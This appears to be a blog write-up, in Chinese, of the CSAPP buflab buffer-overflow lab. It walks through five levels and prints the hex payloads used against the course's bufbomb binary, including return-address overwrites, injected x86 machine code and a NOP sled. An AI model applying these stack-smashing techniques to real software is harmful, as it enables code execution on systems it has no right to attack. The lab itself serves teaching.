CSAPP緩衝實驗buflab
這個實驗也比較有意思,雖然我是跟著老師給的參考答案手把手做的,緩衝攻擊成功的時候還是很有成就感,就是可惜沒有和炸彈實驗一樣的隱藏關了
緩衝實驗一共5個關卡,具體的實驗細節在實驗說明的pdf中有講,大概就是通過利用一個緩衝區溢位的bug來對一個二進位制程式進行攻擊,改變它的行為(外掛初級?)
檔案輸入
因為我們要通過二進位制程式來進行攻擊,因此我們所寫的程式需要被轉成2進位制
實驗說明pdf中給出了實驗中可以採用的進位制轉換方式:
linux> ./hex2raw < 輸入檔案
本實驗通過一個uid來實現不同性,cookie會根據uid來生成,目的應該是為了避免copy抄襲法
程式碼執行方式:
linux> ./bufbomb -u uid < 轉二進位制之後的輸入檔案
為了方便執行,我通常合併操作:
linux> ./hex2raw < 輸入檔案 | ./bufbomb -u uid
或者
linux> cat 輸入檔案 | ./hex2raw | ./bufbomb -u uid
level0 : Candle
首先我們從pdf中知道level0的呼叫的程式碼原始碼
我們的目標是改變test
函式的返回值,進入smoke
函式
於是我們檢視test
中呼叫輸入的getbuf
函式
發現是輸入一個長不超過32的字串
我們檢視getbuf
的彙編程式碼
可以發現是將字串放在長為40個位元組的空間中,而返回的舊ebp在原棧頂,即現在的ebp+4的位置,於是我們只需輸入44個字元長的後面再跟上smoke
的返回地址0x08048e0a
即可
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 0a 8e 04 08
但是執行並未成功
發現是因為0a
對應ASCII中的’\n’
,正好觸發了Gets
函式的結束條件,因此我們修改成地址0x08048e0b
進入smoke
函式
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 0b 8e 04 08
緩衝攻擊成功。
level1 : Sparkler
我們從pdf可以得知,這次與level0類似,但是要求我們在getbuf
攻擊後進入fizz
函式,並且傳入我們的cookie值
fizz
函式彙編程式碼
我們可以看到在fizz
中,所傳入的cookie值在ebp+0x8的位置,即在傳入fizz
地址的後8個位元組
我的uid為對應cookie值0x22b04af1,於是輸入值
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 af 8d 04 08
00 00 00 00 f1 4a b0 22
測試成功
level2 : Firecracker
要求我們自進行getbuf
後跳入bang
函式而不返回test
函式
bang
函式c程式碼
我們知道是要修改其中的global_value
,所以我們檢視對應彙編
圈出的這條語句很可疑,在gdb除錯中檢視對應地址0x804d10c
的值,果然是我們要的global_value
,同理我們可以發現0x804d104
地址的值是我們的cookie
這一次我們要修改的返回地址應該是bang
函式的地址0x8048d52
,然後在攻擊進入bang
函式後,可以通過修改執行地址的機器碼來改變操作
我們考慮在bang
前執行如上語句,修改global_value
值而保證global_value
的值與cookie
必然相等,且使用objdump對參考程式進行反彙編
找到對應指令
a1 04 d1 04 08
a3 0c d1 04 08
68 52 8d 04 08
c3
那麼之後首先要做的就是修改getbuf
之後返回的地址,我們要到我們可修改的執行地址,也就是在執行中我們的buf
陣列的執行地址,在gdb斷點除錯中可以找到是0x556837c8
然後我們讓其回到我們設定的機器碼執行完後,就可以push函式bang
的地址進棧然後返回,從而進入bang
函式了
因此我們的輸入檔案應該是
a1 04 d1 04 08
a3 0c d1 04 08
68 52 8d 04 08
c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00
c8 37 68 55
測試成功
level3 : Dynamite
這一次我們的任務是修改getbuf
函式的返回值為我們的cookie
值
那麼不難想到我們要做的與上一個相類似,首先將getbuf
的返回地址改為buf
的執行地址,然後通過輸入的機器碼執行一段指令,然後返回test
函式
在上一題我們已經得到cookie
地址0x804d104
,buf
執行地址0x556837c8
。
我們要回到test
函式在getbuf
後的地址,通過檢視彙編可以得知對應地址為0x8048e50
首先確定我們定義的操作
mov 0x804d104, %eax
push 0x8048e50
ret
其機器碼為
a1 04 d1 04 08
68 50 8e 04 08
c3
同時我們要保證之前存在ebp的舊ebp沒有改變
通過gdb看到舊ebp為0x55683820
因此我們的輸入檔案應該是
a1 04 d1 04 08
68 50 8e 04 08
c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00
20 38 68 55
c8 37 68 55
測試成功!
level4 : Nitroglycerin
在這裡我們輸入引數-n,使得函式不執行getbuf
,而是執行buf
空間更大的getbufn
我們檢視getbufn
的彙編程式碼
可以看到他預留了520個位元組的位置給輸入,也就是說我們修改的返回地址應該在525到528個位元組的位置。
然後我們需要返回到testn
函式,並且返回我們的cookie
值
由於getbufn
反覆呼叫五次,其棧空間並不是固定的,因此我們要找到返回地址與他之間的關係。
上面是5次呼叫時getbufn
的ebp地址、buf
地址和testn
的ebp地址
可以看到他們之間滿足一個關係式
第二個式子毫無疑問,而第一個式子顯然揭示了testn
和getbufn
的ebp間的關係
再看testn
的彙編程式碼
testn
中ebp儲存在esp+0x28的位置,也就是getbufn
的ebp+0x30的位置,與上面的相符合,因此在getbufn
返回並進入我們的設定的執行地址後,只要leal 0x28(%ebp),%ebp
就可以將保證回到testn
後我們的ebp不會變化。
所以我們就是要改變getbufn
的返回地址到我們buf
的執行地址,執行我們所需要的操作碼後回到testn
函式的下一步操作
對應機器碼
8d 6c 24 28
a1 04 d1 04 08
68 e2 8c 04 08
c3
但是因為buf
的執行地址也會變化,我們不能準確尋找到buf
,因此我採用一種方法,就是將之前填為00的任意值,都換成填入90,90對應nop,即不進行任何操作,然後在我們輸入的字串最後執行需要的操作。因此我們返回到的地方應該是buf
會到的最高的地址,即0x55683648
,從而保證從其走上去必定是nop
因此我們設定程式碼
90 * 509 #509個重複的90
8d 6c 24 28
a1 04 d1 04 08
68 e2 8c 04 08
c3
執行測試成功!
實驗結果:
level0:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 0b 8e 04 08
level1:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 af 8d 04 08
00 00 00 00 f1 4a b0 22
level2:
a1 04 d1 04 08
a3 0c d1 04 08
68 52 8d 04 08
c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00
c8 37 68 55
level3:
a1 04 d1 04 08
68 50 8e 04 08
c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00
20 38 68 55
c8 37 68 55
level4:
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90
8d 6c 24 28
a1 04 d1 04 08
68 e2 8c 04 08
c3
48 36 68 55
相關文章
- 緩衝區溢位實驗
- TinyShell(CSAPP實驗)APP
- Duilib的雙緩衝實現,附帶GDI、WTL的雙緩衝實現UI
- OpenGL 之 幀緩衝 使用實踐
- 用apache JCS實現物件緩衝Apache物件
- 緩衝區分析
- Java™ 教程(緩衝流)Java
- JavaScript 緩衝運動JavaScript
- MySQL InnoDB緩衝池MySql
- Java NIO:緩衝區Java
- 快取與緩衝快取
- C 呼叫redis緩衝Redis
- getchar緩衝區
- 雙緩衝學習
- 開關電源緩衝吸收電路:拓撲吸收、RC吸收、RCD吸收、鉗位吸收、無損吸收、LD緩衝、LR緩衝、飽和電感緩衝、濾波緩衝、振鈴_rc吸收和rcd吸收
- Golang併發程式設計有緩衝通道和無緩衝通道(channel)Golang程式設計
- C 標準庫IO緩衝區和核心緩衝區的區別
- .NET 高效能緩衝佇列實現 BufferQueue佇列
- Java NIO 之緩衝區Java
- Unity深度緩衝區指令Unity
- Go 緩衝通道(bufchan)用法Go
- Java整數緩衝區Java
- 【NIO】Java NIO之緩衝Java
- nginx 緩衝區構造Nginx
- stdio流緩衝區
- 自動處理管理駕駛艙衝緩衝
- 調節Oracle資料緩衝區引數,緩衝整個資料庫(轉)Oracle資料庫
- 緩衝區溢位漏洞的原理及其利用實戰
- lazyload.js實現圖片緩衝載入JS
- Node.js Buffer(緩衝區)Node.js
- PHP的輸出緩衝區PHP
- JavaScript WebGL 幀緩衝區物件JavaScriptWeb物件
- Linux 命令 管道 緩衝區Linux
- MySQL 配置InnoDB變更緩衝MySql
- log buffer(日誌緩衝區)
- InnoDB儲存引擎——插入緩衝儲存引擎
- Java NIO 之 Buffer(緩衝區)Java
- Java NIO2:緩衝區Java